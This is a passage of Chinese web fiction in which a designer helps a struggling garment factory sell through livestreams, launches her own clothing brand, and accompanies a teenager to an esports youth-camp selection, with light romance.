又知道她居然短短不到一个月的时间就把陆季燃这倔驴调教得服服帖帖好好学习，还连带着让他们家的白盛飞都比往日学乖，心里更是佩服。 白琳跟池又青取经，问她怎么做到的。 池又青送她四个字：“以毒攻毒。” 白琳：“？？？” 啊？ 这又是哪门哪派教育大师的路数？ 池又青对白琳家的服装厂很好奇，白琳当即说，哪天她有空，就带她去参观。 可没两天，池又青收到白琳十分歉疚的消息。 “对不起，池小姐。”白琳在电话那头道歉，“我们厂最近出了点事，可能暂时没办法带你来参观了。” 池又青询问：“出什么事了？” 白琳也不想平白无故说出来叫别人忧心，但这事实在叫她太过愁苦，便叹口气说：“之前一直跟我们合作的卖家，突然毁约，这几天，厂里就为这事发愁呢，为了给她做这一批新衣服买了不少布料，也出了一部分成品，结果……” 白琳说不出下去了，眉头紧锁。 第36章 第36章这个邻居是，别的不清楚。…… “小花姐，咱们这样做是不是不太好啊。”负责跟服装厂沟通的员工小孟没忍住，同老板花小花卑微地说，“要是他们在网上曝光……” 花小花没所谓地讲：“那就把退货率高的问题甩他们头上，我们为了提高商品质量水平，更换合作对象，是理所当然的事。” 员工小孟心里嘀咕：退货率高分明是因为花小花总是强行压低成本，还总是以次充好，经常让好几家厂子一起生厂上货。 如今更是把质量水平发挥一向稳定的老合作对象给踹了，签约了新的价格更便宜的厂子。 员工小孟觉得这事做得挺缺德，挺没脑子的。花小花怎么都说是个大网红了，为什么不知道爱惜羽毛呢？那粉丝再喜欢她，也真不是傻乎乎的韭 菜，一茬割完马上长另外一茬。 可这些话，她也没办法说给花小花听。只能骑驴找马，一边继续在这边打工，一边寻觅别的坑位。 “对不起啊白姐。”员工小孟说，“实在是对不住。” 小孟都做好了要是白琳跟她发火她也没关系的准备。 哪知道白琳一改之前的态度，回答说：“没事啊，也不是你的错。都是打工人。” 小孟心想这白姐是突然看开还是受不住打击有点失常了？忙跟她说自己可以介绍她新的合作对象。 白琳：“那不用，那不用，就先这样吧，小孟啊，我去忙了。” 白琳没说两句话就挂了。 小孟盯着电话，一头雾水。 这不对劲啊！ 是马上就找到新的合作对象了吗？ 那这速度倒也是挺快的。 又过几天，小孟听到公司里的人在讨论，不知道是谁也知道了白琳厂子重新开工的事情，午休的时候当八卦一样讲出来。 花小花听了，满不在乎地说：“这不是活得好好的吗？我看啊，说不定她们也早就在跟别人接触，所以出我们的单子才格外不用心。” 她还特意看了眼小孟。 小孟捧着自己的外卖餐盒，不敢吱声。 “那也没事。”有同事顺着花小花的话讲，“女装这块，还有谁能跟我们小花姐比啊？小花姐上新的时段，我看好多人都要避开。” 花小花扬起嘴角。 “不对啊。”有个正在啃鸡腿的同事舔了舔手指说，“我之前跟白琳姐他们对接的时候，跟他们厂里有个人很熟，他说他们暂时不接外面的订单了，要做出来自己卖。” “自己卖？”旁的人都瞪大眼，“有这么想不开吗？” 花小花敲敲桌子，说：“行了，别讨论这个了，外行的事老提做什么？新品都确认完了吗？吃完饭赶紧开工。” 小孟两口把番茄鸡蛋汤喝完，捧着碗遛回自己的工位，私下却偷偷关注着这事。 白琳自己在朋友圈发了预告。 小孟卡着预告里的时间，晚上八点，准时蹲守直播间。 这是一个新注册的淘宝店，名叫白盛服装厂。 小孟看着他们平日里死寂的公司群聊因为这件事而热闹起来。 同事1：我今天倒要看看这能卖出几件衣服。 同事2：十件？ 同事1：哈哈哈可能吧！！ 小孟被他们弄得很烦躁，退出群聊不看，专心等直播。 没一会，出现在屏幕里的人是白琳本人。 她这个人热情，嗓门大，直播的时候没那么多套路，特别真诚地说：“这批衣服都是因为合作方拒单跑路留下来的，很多布料都是当时那一批采购的。都是大牌用料，工艺一流，就连设计也请我前些日子认识的新朋友做了修改。大家走过路过，欢迎进来看看。” 直播刚开始没什么人，白琳也不气馁，指挥工厂的同事把衣服拿起来给大家展示。 小孟瞧见，每一件衣服都还挺好看，简约但是有版型，还很好搭配。 她瞄了眼群里，就连同事都在问，白琳这是从哪找来的设计师，能把他们那一批留下的布料做成这样。 同事2：不过衣服好看也没用，这直播间也没人来啊。 同事1：其实咱们可以让老大去把这批货收了，上架到我们店里？ 同事2：可以诶，谁去跟老大提一句。 小孟偷偷翻白眼，心想： 当时一脚把人踹开的是你们，现在又想要别人把现成的衣服拿给你们来卖，来赚钱。 她心里觉得不满，可是盯着没什么人来的直播间，又觉得若是按照同事们的说法去做，说不定也是个办法。 毕竟按照白琳姐这么卖下去，也不是个办法啊。 小孟正心里焦急着呢，忽然就见到直播间的观看人数成倍的增长。 什么情况？ 推流了？ 她去瞧白琳，白琳站在镜头前，也很茫然。 甚至还走到一旁，不敢置信地对着手机看了半天，又打电话询问。 小孟看着弹幕才发现—— 卧槽！ 是有个最近正在上综艺的模特在直播里被拍到正在刷直播…… 好奇的网友和粉丝们都一窝蜂地涌进来，想要看看究竟是什么样的直播店铺能让该名模看得如此上头。 结果，一进来，还真就走不掉了。 白琳分批次上货，刚上的三百件衣服，几乎是一瞬间就被抢光。 由于没有中间商赚差价，白琳在直播间售卖的价格比很多淘宝店pdd都便宜，而且质量看起来实在不错。 许多人都抱着一种花钱买不了吃亏买不了上当，买来试试也没关系的心态下单。 长达四个小时的直播结束时，白琳对着镜头笑得真切又感恩，不少看直播的网友都亲切地喊她白阿姨。 【白阿姨别走啊，明天继续卖！】 【生活费不到2000的大学生今年的新衣服就靠你了啊白姨！】 【姨你是给哪家出的原单啊？蹲蹲设计师，好喜欢这种风格啊！】 弹幕密密麻麻发个不停，白琳一双眼睛根本看不过来，常有些问题回答不上。 等着看她好戏的花小花团队现在彻底傻眼。 就连花小花本人都有点蒙圈。 怎么回事？怎么回事？ 有人看出花小花的反应不对，忙说：“这都是撞大运了，总不能每天都有这么多人吧？” 花小花心想：也是。 哪知道接下来好几天，白琳直播间的人数都不降反涨。花小花一看才发现，除了那位最近正在参加综艺的名模，居然还有不少网红和明星也来白琳的直播间转悠。 花小花大跌眼镜。 你要说这全都是自来水她可不信啊！！ 可是…… 白琳有这么牛逼的人脉吗？ 如果有的话，她为什么一早没展现出来，也没提过？ 那她之前对白琳做的事…… 花小花越想越害怕。 她能够混到如今的位置，也不是什么白痴。起码圈子里的向上社交比谁都懂。 花小花试图联系白琳，想要为之前的事情做个解释。奈何白琳根本没空理她。 太忙了。 白琳活着了大半辈子，第一次有一种钱从天降的神奇感觉。 而这一切的一切，都要仰仗一个人。 “又青！”白琳实在不知道该怎么表达自己的感谢，她握紧池又青的手，“谢谢你，如果不是你的话，我这厂子不知道还能不能撑下这一轮。” 池又青前些日子为了给白琳改设计，连着通宵好些天没睡，这两天作息混乱地补了一通，但脸上的生气还是不够，面色有些苍白，人还有点迷糊。 她打了个长长的哈欠，没所谓地摆摆手，说：“不用，真不算什么。倒是衣服，第一批发出去的货应该已经到客户手里，反馈怎么样？” 白琳笑着把评论区给她看，又给她瞧自己的刷到的其他平台发送的反馈。 “都挺好的。”白琳说，“大家都很喜欢呢。” 池又青再次打了个哈欠，揉了揉有点泛泪的眼睛，认真地看起来。 【物美价廉！买它！！】 【超级好穿啊啊而且我特别喜欢腰部的设计，有一种自然又随性但是又能体现女性线条的美丽！！】 【求求了这个设计师以后一定要多出衣服好吗？搜遍全网发现没同款，感觉是白姨家里自己出的啊！@白盛服装厂，快，把设计师交出来！】 【瞧见这一次都有一个统一的标签诶，这是什么意思？新品牌吗？】 池又青瞧着对方po上网特意询问的标志。 那其实只是白琳在问她要不要打个logo的时候，她随手画的几根线条。没什么精心设计，也没过多深意。她做这件事，本意只是帮助白琳渡过难关。 毕竟这日子过得谁也不容易。她也看过，白琳家的厂子做衣服的水平确实不错，白琳也是个实在人，所有衣服的用料和做工都是在成本范围内的讲究。 “你别看我现在这样，成天泡在厂子里，灰头土脸的。”白琳有些不好意思地跟池又青说，“我以前也是很时髦的。” 她年轻的时候特别想搞个自己的服装品牌，但这事怎么都没成功过。 “缺点运气吧。”白琳把所有曾经受过的挫折，遇到的坎，走过的弯路都浓缩进这句话里，她说，“现在的日子也挺好的。我起码还是在做自己想做的事。既然这衣服是人身上穿的，卖出去的每一件，那肯定也是对方觉得喜欢，高兴，才买。要是买回去穿不了两天，岂不是让人失望？反正要是我自己买到这种衣服，我能三天三夜睡不着觉！” 做个实在人，做件实在衣服。 白琳这点目标。 要不是有池又青在，她就连这点目标都守不住了。 她现在看池又青就像在看一个行走的救星。 池又青被她的目光盯得有点不好意思，说：“白姨，真不是什么事。” 名模是她朋友，网红也是她之前介绍给蒋瑶那公司里的人，就连一些明星，也只是朋友知道她在折腾这件事，背地里想帮个忙。 说到底，她其实也没出什么力。 看到自己设计出来的东西被人喜欢，被人使用，池又青心里还挺满足的。 她拿起一件成品，瞧着上面的标志，心里有个主意在冒泡，但没马上和白琳提，怕叫对方空欢喜一场。 出服装厂的时候，裴珩在接她。 来的时候也是裴珩送她过来的。 本来她是打算自己开车回来的，就被碰巧从外地忙完回来的裴珩拦住。 “池小姐，你确定你现在还能分清刹车和油门？”裴珩如是说。 不知道为何，一见到他，池又青就觉得这段时间紧绷的神情能够稍微放松一些。 裴珩手里还拎着行李箱呢，就被她不要脸地差遣：“那裴老师送我？” 裴珩叹口气：“当然。” 在裴珩开车来的这段路上，池又青懵懵懂懂地睡着了。本来没想睡的，哪知道屁股一沾上座椅，就忍不住头往安全带一侧的方向偏去。 嘟囔着就小眯一会，结果沉沉睡了一路。 醒过来的时候，池又青都有点惊讶。 她很少在车上睡觉。 估计是最近太累。 哪知道回程的时候，她又在裴珩的车上大睡过去。 醒过来的时候，池又青茫然地看了眼周围。熟悉的街道，是家附近。但天色早不是出发时的模样，灰蓝蓝一片。 池又青想说话，却觉得嗓子有点干。 一瓶拧开的款泉水递到她的面前。 池又青接过，喝了口，润润嗓子，问：“几点了？” 裴珩看眼腕表：“还行，不晚，是你起床的时间。” 池又青被他这句有点阴阳的话逗笑：“裴老师对我的作息倒是了如指掌。” “毕竟某个人每天晚上八点定点批阅奏折。”裴珩瞧着她，“想不了解都很难。” 池又青哎呀一声，问：“你怎么不叫醒我？就在这等着。” 裴珩：“看你睡得沉。多久没好好休息了？” 池又青掰着手指数：“一周……两周……” 好吧，老实说，她也记不清了。 她这个人，一旦作息开始混乱，对时间的感知也会变得混乱。 裴珩认命地问：“要再睡会吗？” 池又青连连摇头：“不睡，饿了。” 裴珩又说：“去吃饭？” 池又青摸摸肚子，应了这邀约，顺便在吃饭的时候跟裴珩提起最近在忙的事，又讲自己的想法：“你觉得我借这个机会直接开个属于自己的网店怎么样？白琳姐那是现成的厂子，她干这行也有很多年，到时候成品质量方面肯定没什么问题。” 池又青本来只是闲聊一样，在饭桌上找点话题跟裴珩聊聊。 哪知道聊聊当着马上给她捋出一套堪称计划书的东西。 池又青听到后面直接说：“停停停，啊啊，记不住了记不住了，裴老师，你能不能回家以后直接给我出个文字版？” 裴珩把剥好皮的现烤芝士红薯推到池又青的面前：“好的，池老板。” 池又青扬扬眉头：“我可没奴役你哦。” 裴珩嗯了声：“是我自愿的。” 池又青咬了口红薯，甜滋滋的。她一连吃好几口，问裴珩：“不过你对这种事怎么这么熟悉啊？你就是干这行的吗？” 她现在还不算了解裴珩呢。 只知道他失业回了江城，却不知道他以前具体是做什么，以后又想做什么。 “算是。”裴珩斟酌着用词，“以前工作的时候看计划书看得比较多。” 以前……？ 那是真失业了。 池又青不再多提，怕戳到他的痛处。 “做投资的？”池又青用自己为数不多的职业经验推测。 “类似。”裴珩瞧出池又青拿起一只虾，指尖被烫到，又立刻放下。他伸手，接过虾，慢条斯理地剥起来。 “不烫吗？”池又青好奇。 裴珩摇摇头：“没什么感觉。” 嘴上这么说，池又青却明明看到裴珩在剥完一整只虾后，指腹都微微泛红起来。 她嘴角轻扬，把一整盘虾都挪到裴珩的面前，指尖点点餐盘米色的花纹边缘。 裴珩叹口气，说：“其实也有点烫。” 池又青哈哈笑起来：“烫你就别剥那么快呀。” 裴珩已经在剥第二只，他说：“因为某人看起来很想吃。” 池又青晃晃手里的勺子：“那某人也不至于这一点时间都等不了。” 饱满大虾完整地从烧得火红的壳中脱落，摆放在盘子的边缘，没有越界地直接放进池又青的碗碟之中。 “因为我不想你等。”裴珩平静如常地说完这句话后，又问，“还吃吗？我再剥点。” 池又青笑得眼眸弯弯，大大方方地把自己的小碗递过去：“要。老板，再来三个。” 吃完饭，她跟裴珩在路边走着消食。 等肚子里的饱腹感没有那么强烈后，池又青不久前才消亡的困意又死而复生。 “回家？”裴珩瞧出她已经转头打了两个哈欠。 池又青举手投降：“回家。” 这个步散不了一点。 一到家门口，嘀嘀输入密码后，池又青瞧着满屋子里乱糟糟的东西，一时之间竟然有几分恍惚。 啊？ 这真的是她家吗？ 理智上她知道该收拾收拾了，可是大脑和身体都困倦得完全走不动道。 再在猪窝里住一天吧。池又青对自己说，等明天她好好休息以后再收拾。 “需要帮忙吗？”裴珩拎着行李箱站在她的身边。 池又青没反应过来：“什么？” 裴珩望向她的屋子。 池又青哇哦一声：“裴老师还有家政业务？” 裴珩扬起嘴角：“特别开放而已。” “不用那么麻烦啦。”池又青还没厚脸皮到能让裴珩帮自己收拾，“我明天找个阿姨来就好。” “确定？”裴珩看着她一团狼藉的房间，又看着她怎么都踏不进去的右脚。 池又青心思被看破。 没注意的时候觉得随手乱丢无所谓，毕竟心思都在画画搞设计上了。忙完以后突然这么一看，心里着实是有点难受。没有洁癖命，得了洁癖病。这话说得就是她。 “你真要帮我收拾？”池又青问。 裴珩说：“顺便叫上陆季燃一起。” 池又青扑哧笑出声：“你倒是很会使唤他。” 裴珩一本正经地说：“侄子不就是拿来做这种事的？” “嗯？邻居也是？”池又青靠着门框看他。 裴珩不闪躲，迎接着池又青的目光，温和如旧地说：“这个邻居是，别的不清楚。” 池又青歪了歪头，手臂搭在一块，认认真真地把裴珩上下打量一遍，朝他勾勾手指。男人从善如流地上前一步，向她靠近。 “怎么了？”他低声说话的时候声音像柔和的绸缎，带着哑光的质感。 是池又青比较偏爱的一种布料类型。 她仰 头看着裴珩，其实也不用调整很多角度，因为裴珩总是在低头。 “那这个邻居，还有别的业务吗？”她的指尖勾上裴珩夹在西装外套下的格纹领带边角。 裴珩按兵不动：“例如？” 目光交缠，池又青的视线往下，滑落到裴珩的唇边。这是上次她到访过的地方。 她看到裴珩的喉结在她的眸光下滚动了一瞬。 “要在这吗？”她听到裴珩有些不太确定地问。 池又青理所当然地扬起下巴：“怎么？不可以？” 裴珩显然有些局促，自然下垂在身侧的手微微抬起，快要小心翼翼地捧上池又青的侧脸时，池又青身子一弯，两只手毫不客气地抱住裴珩的腰，将脑袋贴上他的胸口，像在拥抱等身高的大熊玩偶一样，全然不吝啬地将自己靠过去。 人类的体温没有保留地传递过来。 池又青感觉自己像西游记里的妖精，吸会帅哥就感觉精神状态好多了。 裴珩抱起来可真舒服啊。 不发力的时候，肌肉都是软的，虽然因为她靠近得太过突然，能够感觉到男人的许多地方都在紧绷，但尽管如此，他还是稳当地承接着她，纵容着她想一出是一出的小心眼与坏脾气。 她听到裴珩的声音里满是无奈，还带了点自嘲的幽默：“原来你今天换了个新的节奏。” 池又青偷笑，充电结束，从他的怀抱里抽身，拍拍他的肩膀：“节奏大师是这样的，还请裴老师多多习惯。” 把收拾房间的任务交给裴珩和陆季燃后，池又青当真就锁了卧室门安心睡过去。 第二天一觉醒来，是早上五点。 房间焕然一新干干净净不说，手机上还收到了一份简洁明了的计划书。 池又青爬回被窝里，抱着电脑仔仔细细地把这计划书看了一遍。 糟糕。 这下真让她遇上田螺男孩了。 有了裴珩的这份计划书，配上池又青的超绝行动力与钞能力。 没两天，新的品牌就注册下来。 图标正是池又青随手画的那两笔线条，如山的峰波，又如海的浪弧。 她给这个图标取了个名字，叫山海商店。 第37章 第37章没成就没成呗。 池又青把打印出来的品牌企划书摊在木质书桌上，瞧着荧光笔标注出来的东西，感觉自己的思路越发清晰。 她决定放弃以前那些一定要做出个精妙绝伦设计的想法，转而让自己更考虑先做出来这件事。 先整点能让人马上就穿的，更大众化的，更快捷的东西。 白琳带着她跑完七鹤路面料市场那天，两人在库房清点样布时终于达成共识。 先做四季常青的纯棉T恤试水。 围绕着基础款的服饰展开设计，作为未来品牌的主推内容，再辅以其他的鞋帽单品。 两人都是行动派，很快就围绕着这件事动起来。 白琳从外面联系外包装厂商回来时，池又青正卡在布料的选取问题上。 她连续三天蹲在打样室，盯着不同支数的棉纱，最终选定一款双纱精梳棉。 “我喜欢这个版本。”挑出来的时候，池又青有点兴奋地跟白琳说，“这种稍微起绒的做旧感，很复古诶。” 有点上个世纪意呆利的风格。 白琳瞧着她脸上的笑容，也忍不住跟着笑开：“那就选这个，后领标也换换？无水印烫怎么样？” “好啊。”两人一拍即合。 “行啦，你早点回去休息。”白琳催她，“裴先生到时候都得来找我算账了，把你成天关在我这厂里。” “关他什么事。”池又青还在看样布，“我跟他又没关系。” “没关系？”白琳八卦地凑过来，“那他为什么隔三差五来接送你，还来送饭。我老公当时追我的时候，都做不到这个程度。” 池又青一点也不害羞，笑着说：“追我能叫有关系吗？那是单方面跟我有关系。” “这个单品我觉得可以敲定了，其他的还要再看看。白姐，你也别一根枝头挂死，所有心思都搭咱俩这件事上。”池又青跟白琳说，“我这设计效率，不一定快，你的厂子还要周转，接接别的活也不错。再说万一成不了——” “放心啦小池。”白琳把手里的布料挪开，“你给我带来的泼天富贵够我赌这一把。” “你尽管做设计，其他的事都有我。谁能想到我这个年纪还能有机会做自己以前想要做的事？我当然要专心，当然要投入。”白琳两眼发亮，“不管成不成，先做！做了再说！” 池又青被她搞得也有点激动，成天将自己关起来，不是在设计，就是去厂里研究样衣。 白盛飞在这个时间段找上门来，忸怩了一下，又很快自己调理好，问她：“小姨，咱还打游戏吗？” 池又青以为自己听错：“打游戏？” 她拿奇怪的眼光看着白盛飞，眸光里明晃晃地写着‘你确定吗’四个字大字。 白盛飞抬手挠挠精心打理的小卷毛，看了眼地板，过渡一下，才有胆子去看池又青：“我感觉我最近又可以了，还能再训训。” 白盛飞也没想到自己有此反应。 他发誓，他之前是认真想放弃的。 可是前两天无聊，没忍住，开了一局。 想着随便玩玩，脑子里却下意识跳出许多池又青军训时说过的话。 当时光顾着感受自己受折磨的痛苦和恶心感了。 放了一段时间后，白盛飞意外地发现，原来按照池又青的指导动脑子打游戏，竟然是这么有意思的事情。 比凭借着所谓的本能去玩，还要让他觉得刺激。 就好像旅游爬山，奔着景点去。 以前只知道好看好看，现在却明白那风景背后的故事。 瞧着白盛飞认真又希冀的样子，池又青嘴角微抽，跟052说：【我看懂了，这小子是真喜欢打游戏。】 之前说好的看见电脑就想吐呢？ 怎么现在又变样了？ 池又青决定这一次把白盛飞再狠虐一把。 甚至超级加倍，拿出来比之前过分一百二十倍的手段。 白盛飞走出网咖的时候，双腿虚浮，面色惨白，一副求死不能，求生不得的模样。 池又青满意地跟052说：【这把稳了。】 哪知道—— “小姨！咱们还打吗！”几天后，蔫嗒嗒的白盛飞复活了，两眼发亮，充满期待，“我感觉我今天一定可以进步！” 052难得偷笑：【宿主，好像稳不了。】 【看来以毒攻毒这一招是有时效的。】052说，【他现在算不算已经有抗药性了？】 神特么的抗药性。 池又青转头就问白琳。 youqing：姐，你儿子这什么情况？ 白琳知晓来龙去脉以后无奈地说：“他就这么一个优点了，估计是从小到大被我揍多了，心里也不记事，抗压力极强，简单来说，就是心大，且脸皮极厚。” 池又青一听这话，心想，这事可不能就这么算了啊。 白盛飞要是天天来找她打游戏…… 052暗道不妙：【宿主，你又在打什么主意？】 池又青调回头翻看着之前系统发布的任务：【白盛飞和袁源的有效学习时长可以兑换成就点，但没说是学习什么啊。】 052跟着仔细一看。 咦，好像是没说。 糟了。 让她抓到bug了。 052赶紧劝：【宿主，就算这样，你也别打歪主意啊。我跟你说，在世界判定里，白盛飞是原著里的配角，你就算送他去走游戏这条路也是没用的。】 池又青：【我还什么都没试呢，你急什么？】 她眼睛微微眯起：【有鬼？】 052化作哑巴，不吭一声。 它越是这样，池又青越是逆反。 “很想打游戏？”她问白盛飞。 白盛飞还没懂这问题，咧着个大牙笑得特别傻：“想啊，比学习有意思多 了。” “那要是一直打游戏呢？”池又青问。 白盛飞回味出不对劲来：“小姨，这什么意思啊？” “我知道过段时间有青训营选拔赛。”池又青敲敲桌面，“你想试试吗？” 白盛飞差点以为自己听错了。 等池又青从朋友的微信里翻出青训营招募海报时，白盛飞忍不住惊呼出声：“小姨，你来真的啊？” 池又青好笑地看着他：“怎么？不是爱打游戏吗？” 白盛飞有些胆怯：“那，那也不一样啊。” “没事，你可以考虑考虑。”池又青说，“顺便回去跟你爸妈商量一下。” 白盛飞听这话，嗐了一声：“商量倒是不用了，我妈现在只要听到你的名字，什么都不用多说，一个字也不带问的，能直接把我打包出门。” 说是这么说，白盛飞也不敢背着亲妈做出这么大的决定，参加青训营还要离开学校呢，没有白琳的首肯签名，他根本跑不出江城。 “妈……”白盛飞攥着打印出来的青训营招募海报站在厨房边。 白琳正在厨房片鱼，鱼头咚地一声被他剁下来，白盛飞心里直哆嗦，都有点不敢说话了。 他盯着母亲系着碎花围裙的背影，嗓子有些泛涩：“妈……有件事我想跟你商量……” “先把葱递我。”白琳头也不回地伸手。 白盛飞乖乖照做。 白琳瞄到他紧紧握在手里的海报：“又想给我搞幺蛾子？” 白盛飞：“妈，这是不是幺蛾子！” “那是什么？”白琳把菜刀洗干净，挂起来。 白盛飞解释了一通：“妈，我真想去试试。” “试试就离开学校一两个月，没成怎么办？”白琳问。 白盛飞嘟囔一声：“那反正我在学校也什么都没学啊。” 白琳抓起放在台面上的那把绿葱：“你再说一遍？” 白盛飞缩缩脑袋：“……实话嘛。” 白琳懒得多看他一眼：“桌子有张卡，拿去自己带上，出门在外，别饿死了，也别总花小池的钱。” 白盛飞差点以为自己听错：“妈，你、你不反对啊？” 白琳把切好的豆腐块放进鱼汤里，说：“反对有用吗？” 白爸爸走出来，乐呵呵地说：“别担心，你妈当年拿着五百块下广州的时候，就跟你现在一样。” 砂锅盖叮当轻响，白琳舀了勺奶白鱼汤吹气：“行了啊，少跟孩子说这些。” 白盛飞想听呢：“爸，你说，你继续说。” 白琳一个眼神甩过去，男人什么都不敢说，只乖乖进厨房端菜。 “你以为这事我不知道？”白琳讲，“小池老早就跟我说了。阿飞啊，妈妈其实心里挺开心的，这么多年，你终于有点自己想做的事。从小到大，哪件事不是爸妈逼着你学的？” 从打篮球到练钢琴，学英语到下围棋。 白盛飞的童年几乎都在被迫上学，逃课，回家挨打里反复。 “你比妈妈幸运，这个年纪就有想做的事。”白琳套上隔热手套，把砂锅端出去，“行了，吃饭。” 白盛飞感觉嗓子里有点热：“妈，那我要是，没做成呢……” “没成就没成呗。”白琳讲，“日子不都是一样要过？还有爸妈跟你兜底呢，你怕什么。” 白盛飞低头猛喝汤，热气熏得眼眶发烫。 汤碗见底时，他瞥见碗底沉着片完整的鱼鳃骨。 老家话说这是吉兆，能佑人破浪前行。 几天后，白盛飞给了她回复。 “小姨，我想试试。”男孩的眼睛全都是青春无畏。 池又青说好，给他买了机票，又实在不放心，准备自己带他去。 陆季燃和袁源一听这事，也跑来凑热闹。 最后不知道怎么的，变成了集体出行。 为了不一个人管三个小伙子，做春游老师，池又青毫不犹豫地拉上邻居一块受罪，合理分摊并转移压力。 出发还算顺利。 到达的时候不知道碰到哪位大明星跟他们同一班飞机，搞得出口被堵得水泄不通。 池又青派陆季燃去当先锋兵瞧瞧是什么情况。 陆季燃上前探探，回来报：“不认识，好像是个主播。” 白盛飞耳朵尖，听见这话，眼睛一亮：“我去看看！” 三秒后，白盛飞滚回来，压低声音抑制着自己的兴奋：“是lwings！” 池又青一脸茫然：“谁？” 白盛飞解释：“百万游戏主播！天才少年！” 陆季燃不耐烦地啧了一声：“粉丝多也不能挡道啊。” 白盛飞还沉浸在追星的喜悦里：“也不知道我能不能一会上去要个签名。” 袁源跟着说：“那、那我也要。” 白盛飞不解：“你什么时候也粉他了？” 袁源憨憨地笑起来：“不、不粉，看着值钱。” 白盛飞抬手就掐袁源的脖子：“胆敢玷污我的大神！” 见两人掐得正热闹，围着陆季燃就跟那狗围着电线杆跑一样。 池又青忍不住泼了一记冷水：“白盛飞，别忘了你是来干什么的。” 白盛飞嬉笑的嘴脸一下僵住，老实地回答：“小姨，没忘呢。” 池又青又说：“那你觉得你的大神是来干什么的？” 白盛飞迷迷糊糊：“……啊？来玩？” 陆季燃都想明白这事了，一个板栗敲上他的后脑勺：“他跟你年纪差不多大，你再想想。” 被陆季燃这么明显地提醒，白盛飞立刻反应过来：“卧槽——卧槽卧槽卧槽！” “他也要参加青训营？！” 陆季燃抬手拍拍他的肩膀，千言万语都化作一个动作。 白盛飞腿有点发软，嘴上却还是说：“没事……没事……咱们还能扛……” 池又青表情奇怪地问他：“你不会真不知道吧？网上都有一些热门选手参加青训赛的报道。” 白盛飞欲哭无泪：“小姨，我真不知道啊。” 陆季燃戳穿他：“他这几天光顾着兴奋，天天在群里让我们给他挑出门的衣服，配球鞋，还——” 话说不下去，白盛飞伸手捂住他的嘴，浑身上下都是求饶姿态。 池又青看着他有点怯场的模样，扬扬右眉：“怕了？现在反悔还来得及，我买张机票马上就送你回去。” “可以吗？”白盛飞问。 就连袁源都看不下去，给他一肘子：“怂、怂比！” 白盛飞伸手搂住袁源，靠着他伟岸又圆润的身子，说：“开玩笑的啦！怕归怕！但来都来了！起码也要参加一个选拔赛海选再走啊！” “这辈子又不是没垫底过。”白盛飞硬着头皮说，“大不了就再倒数一次，跑算什么回事啊！” 池又青意味深长地看他一眼：“记住你现在说的话。” 一行人浩浩荡荡去酒店放完行李，池又青领着白盛飞去选拔基地看了眼。 白盛飞腿一软，差点没跪下。要不是陆季燃和袁源充当他的左右护法将他两边都拎住，只怕他早就膝盖贴地。 放眼望去，全都是白盛飞叫得出名字的大神。 一个二个都是只能隔着手机屏幕在直播里看见的主儿。 居然还有现役战队的成员来参加选拔。 白盛飞抬手掐着自己的人中。 池又青拍拍他没骨气的脑袋：“行了，慌什么慌？你以为你来参加选拔赛是跟他们争第一的吗？不，白盛飞，你要争的是最后一个名额。” “什么名额？”白盛飞脑子晕乎乎的。 池又青瞧着这浩浩荡荡的人群，目之所及，全都是过分的荷尔蒙，每张年轻的脸上都写着野心和紧张。 “进入青训营的名额。”池又青说，“你的对手不是他们，白盛飞，你要做的就是把自己有的一切，展现到最好。” 淘汰赛初选要选两百个人呢。 以白盛飞现在的国服排名，池又青觉得，也不是没希望擦边飞过。 “加油。”她对白盛飞说。 白盛飞眼泪汪汪，心里多少被鼓励道，嗯了一声，重振旗鼓。 淘汰赛是全公开进行。 白盛飞在里面的小房间关起来打游戏，池又青和陆季燃几人就在会场附近，找了个空旷的小公园，弄了点野营小设备，架着帐篷看直播，等他打完。 池又青盯着电子屏幕，看着看着就睡着了。 醒过来的时候，完全是被陆季燃和袁源的尖叫 吼醒的。她窝在车里，忙着急地探出头：“怎么了怎么了？” 着火了？ 裴珩守在门边坐着，把随着她的动作下滑的毛毯往上卷，抬抬下颌，说：“选拔结束了。” 池又青眼睛一亮：“怎么样？入选了？” 裴珩听出她刚刚睡醒后的嗓子泛着干涩，拿出一杯一直温在电炉上的温水。 池又青接过，抿了口，嗓子好受多了。 “过了过了！”陆季燃激动得比自己月考进步还要兴奋，“老白他过了！” 有这样的大喜事发生，池又青毫不犹豫地做主，等白盛飞从会场出来，就带着他们几个玩一圈。 玩什么让白盛飞做主。 精神和身体都承认过分压力的白盛飞手脚虚浮地走出来，迷迷糊糊，一瞧见他们这露营风格的架势，顿时哀嚎，闹着也要一块露营。 于是晚上的活动就变成找了个野营基地，吃烧烤，玩游戏。 在商店购物选买一会要用的东西时，池又青的目光忍不住在冰柜里的啤酒上流连。 裴珩推着车走在她的身边：“想喝？” 池又青劝服自己：“算了算了，还有小孩在呢。” 以身作则啊池又青！ 裴珩没多说什么，跟着她离开的脚步往下一个超市货架走去。 结账的时候，三小子选了两大推车的东西，大有一种好不容易出来玩一顿必须狠狠玩够的架势。 池又青瞧着满车的零食，心想，还真是小朋友口味。 “这草莓夹心饼干谁买的？”她拎出一个粉色的包装袋，“还有这个，儿童奶酪布丁。” 裴珩默不作声地将她手里的东西拿走，面无表情地对着结账人员交付二维码。 白盛飞递来看戏的眼神：“哇哦——裴老师——” 袁源嘿嘿一笑：“其实这个奶酪真的很好吃的，我有次去我侄子家，一不小心就吃完一整袋。” 陆季燃拎起装得满满当当的购物袋：“走了。” * 营地风景不错，坐落于一个山谷的平峰之处，目之所及都是云烟，往下望去，还有满山遍野的人家灯火。 池又青坐在位置上享受着男仆，阿不，男孩们的伺候。 袁源很会烤串，陆季燃在一旁帮忙，不管先烤出什么，都是第一个拿给她这个小姨品尝。 白盛飞口若悬河地讲着自己的今天心惊胆战的选拔经历，池又青听着，偶尔配合着052自动生成的数据，帮他复盘。 也不知道是不是运气好，正好碰上营地有小情侣过纪念日。在座的各位都有福，蹭到了烟花。 白盛飞和袁源都兴奋地跟猴子一样，拉着陆季燃要去看热闹。 “有人求婚诶！”白盛飞激动地说。 陆季燃一点也不想看，坐在池又青的身边，屁股都不肯抬一下。 “我靠我靠！还有人在弹吉他！”白盛飞又说。 陆季燃的DNA动了。 他瞄眼池又青，就跟那种想出去玩又不没胆子自己撒绳跑掉的小狗一样。 “去玩呗。”池又青哭笑不得，“本来今天就是给你们放松的日子，瞧我做什么？” 得了池又青的准许，白盛飞一把将陆季燃拉走。 三个臭小子消失，池又青的耳根清净多了。 她坐在营地提供的折叠椅上，身子往后仰，瞧着远处的热闹，听着起哄的人声，表情淡淡，眼神幽远，不知道在想些什么。 “喝吗？”男人骨节分明的手拎着啤酒在她眼前一晃。 是她之前在商店看过好几次，想要尝试的新口味。 池又青眼睛一亮：“哪来的？” 